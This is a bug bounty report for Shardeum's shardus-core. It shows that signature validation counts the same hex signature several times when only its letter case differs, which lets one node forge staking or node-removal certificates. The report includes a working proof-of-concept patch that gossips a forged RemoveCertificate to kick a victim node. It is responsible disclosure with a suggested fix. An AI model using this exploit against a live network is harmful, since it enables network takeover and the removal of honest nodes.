#39678 [BC-Critical] Bypass certificate signing validation by double counting signatures due to capitalization

Submitted on Feb 4th 2025 at 18:37:25 UTC by @Blockian for Audit Comp | Shardeum: Core III

• Report ID: #39678

• Report Type: Blockchain/DLT

• Report severity: Critical

• Target: https://github.com/shardeum/shardus-core/tree/bugbounty

• Impacts:

  • Bypassing Staking Requirements

  • Network not being able to confirm new transactions (total network shutdown)

Description

Impact

1. Bypass stake certificate validation, allowing for non-staking nodes and network take-over

2. Bypass nodes removal validation, allowing to remove nodes from the network

• Note: same impact as reports 33222 and 34252 but a different root cause.

Root Cause

The function validateClosestActiveNodeSignatures counts unique signatures, but double counts duplicate signatures with different capitalization.

Attack Flow

Staking

• Malicious node generates a fake JoinRequest with a fake StakingCertificate

  • It brute-forces StakingCertificate fields to make sure its one of the closest nodes to the hash of the staking certificates. This is easy, as only 1 node is needed to be close.

• It creates the full JoinRequest, with multiple copies of its signature, instead of signatures from many other nodes, changing only the capitalization of the signatures.

• It calls gossip-join-request

• Other nodes receive the join request, and validate it using validateClosestActiveNodeSignatures.

• The validation bypasses, as the signatures are valid because capitalization is ignored.

• The new node joins the network without staking.

Kicking a node

• Malicious node generates a fake RemoveCertificate.

• It fills it with multiple copies of its signature, instead of signatures from many other nodes, changing only the capitalization of the signatures.

• It calls remove-by-app gossip route.

• Other nodes receive the certificate, and validate it using validateClosestActiveNodeSignatures.

• The validation bypasses, as the signatures are valid because capitalization is ignored.

• The victim node is kicked from the network.

Deep Dive

The function validateClosestActiveNodeSignatures uses Crypto.verify which uses lib-crypto-utils' verifyObj which calls verify which calls ensureBuffer on the signature which runs

Buffer.from(input, 'hex')

on the signatures, which ignore capitalization.

Suggested Fix

I suggest to do two think:

1. Ensure lowercase on any payload on any gossip and http endpoint.

2. Count signers and not signatures.

Severity

This allows to take over the network (by kicking nodes / adding nodes) and so it critical. In addition, this is the same as 33222 and 34252 which were treated as critical.

Message to the project

I feel like my time was spent roughly 20% on researching, and 80% on trying to create POCs that match your standard or to answer question you give on the reported bugs. I believe there are more bugs to be found in the project, and that the current approach is the reason that bugs keep being found. I suggest you do an invite only competition, without defaultly requesting a POC, and only requesting one if you truly believe there is no bug. This would allow whitehats to actually uncover bugs.

Proof of Concept

POC

Note: this strongly relies on infosec_us_team's POC for 33222 so thanks to them :)

1. Both shardeum and core should be on the bugbounty branch

2. Apply debug-10-nodes as stated in the docs

3. Apply the following patch on core:

diff --git a/src/shardus/index.ts b/src/shardus/index.ts
index f29206b8..eb806834 100644
--- a/src/shardus/index.ts
+++ b/src/shardus/index.ts
@@ -3408,6 +3408,58 @@ class Shardus extends EventEmitter {
   isOnStandbyList(publicKey: string): boolean {
     return JoinV2.isOnStandbyList(publicKey)
   }
+
+  async blockian_gossipRemoveNode(pk: string): Promise<string> {
+    let thenodes = nodeListFromStates([
+      P2P.P2PTypes.NodeStatus.ACTIVE,
+      P2P.P2PTypes.NodeStatus.READY,
+      P2P.P2PTypes.NodeStatus.SYNCING,
+    ]);
+    this.mainLogger.warn(`BLOCKIAN: Trying to disconnect him: ${pk}`)
+    console.log(`BLOCKIAN: Trying to disconnect him: ${pk}`)
+    let certificate: P2P.LostTypes.RemoveCertificate = {
+      nodePublicKey: pk, // Victim node
+      cycle: CycleCreator.currentCycle - 2,
+    };
+    const hash = crypto.hashObj(certificate)
+    const closestNodes = this.getClosestNodes(hash, 6);
+    const closestNodesByPubKey = new Map()
+    for (let i = 0; i < closestNodes.length; i++) {
+      const node = this.p2p.state.getNode(closestNodes[i])
+      if (node) {
+        closestNodesByPubKey.set(node.publicKey, node)
+      }
+    }
+    let ourPublicKey = Self.getPublicNodeInfo(true).publicKey;
+    if (!closestNodesByPubKey.has(ourPublicKey)) {
+      this.mainLogger.warn(`BLOCKIAN: WE ARE NOT in the closest nodes list.`)
+      console.log(`BLOCKIAN: WE ARE NOT in the closest nodes list.`)
+      return "BLOCKIAN: WE ARE NOT in the closest nodes list.";
+    }
+    let oursig = this.crypto.sign(certificate).sign;
+    function capitalizeNthLetter(str, n) {
+      let count = 0;
+      return str.replace(/[a-zA-Z]/g, (char) => {
+        count++;
+        return count === n ? char.toUpperCase() : char.toLowerCase();
+      });
+    }
+    
+    certificate.signs = Array.from({ length: 9 }, (_, i) => ({
+      owner: oursig.owner,
+      sig: capitalizeNthLetter(oursig.sig.toLowerCase(), i + 1),
+    }));
+    
+    Comms.sendGossip(
+      'remove-by-app',
+      certificate, // payload
+      'trackthis', // tracker
+      Self.id, // sender
+      thenodes
+    )
+    console.log(`BLOCKIAN: Final object we are going to send: ${JSON.stringify(certificate)}`);
+    return `Success: Current Quarter ${currentQuarter} (it only works during Quarter 1 and 2 of each cycle)`;
+  }
 }
 
 function deepReplace(obj: object | ArrayLike<any>, find: any, replace: any): any {

1. Apply the following patch on shardeum (obviously the logs are just for convenience)

diff --git a/src/index.ts b/src/index.ts
index 22fb7ae9..a39f5e09 100644
--- a/src/index.ts
+++ b/src/index.ts
@@ -2378,7 +2378,7 @@ const configShardusEndpoints = (): void => {
   })
 
   // endpoint on joining nodes side to receive admin certificate
-  shardus.registerExternalPut('admin-certificate', externalApiMiddleware, async (req, res) => {
+  shardus.registerExternalPut('admin-certificate', externalApiMiddleware, async (req: Request, res) => {
     try {
       nestedCountersInstance.countEvent('shardeum-admin-certificate', 'called PUT admin-certificate')
 
@@ -2409,6 +2409,13 @@ const configShardusEndpoints = (): void => {
     nestedCountersInstance.countEvent('endpoint', 'health-check')
     res.sendStatus(200)
   })
+
+  shardus.registerExternalGet('blockian_gossipRemoveNode', externalApiMiddleware, async (req, res) => {
+    const pk = req.query.pk as string;
+    console.log(`BLOCKIAN: Target pk: ${pk}`);
+    const result: string = await shardus.blockian_gossipRemoveNode(pk);
+    res.json(`BLOCKIAN: All good. Result: ${result}`);
+  })
 }
 
 const configShardusNetworkTransactions = (): void => {
diff --git a/src/shardeum/shardeumFlags.ts b/src/shardeum/shardeumFlags.ts
index de85df9c..2a7221d4 100644
--- a/src/shardeum/shardeumFlags.ts
+++ b/src/shardeum/shardeumFlags.ts
@@ -132,7 +132,7 @@ export const ShardeumFlags: ShardeumFlags = {
   contractStoragePrefixBitLength: 3,
   contractCodeKeySilo: false,
   globalCodeBytes: false,
-  VerboseLogs: false,
+  VerboseLogs: true,
   debugTraceLogs: false,
   Virtual0Address: true,
   GlobalNetworkAccount: true,

1. Runhttp://NODE_EXTERNAL_IP:NODE_EXTERNAL_PORT/blockian_gossipRemoveNode/?pk=PUBLIC_KEY_OF_ACTIVE_NODE_WITHIN_YOUR_SHARD_TO_KICK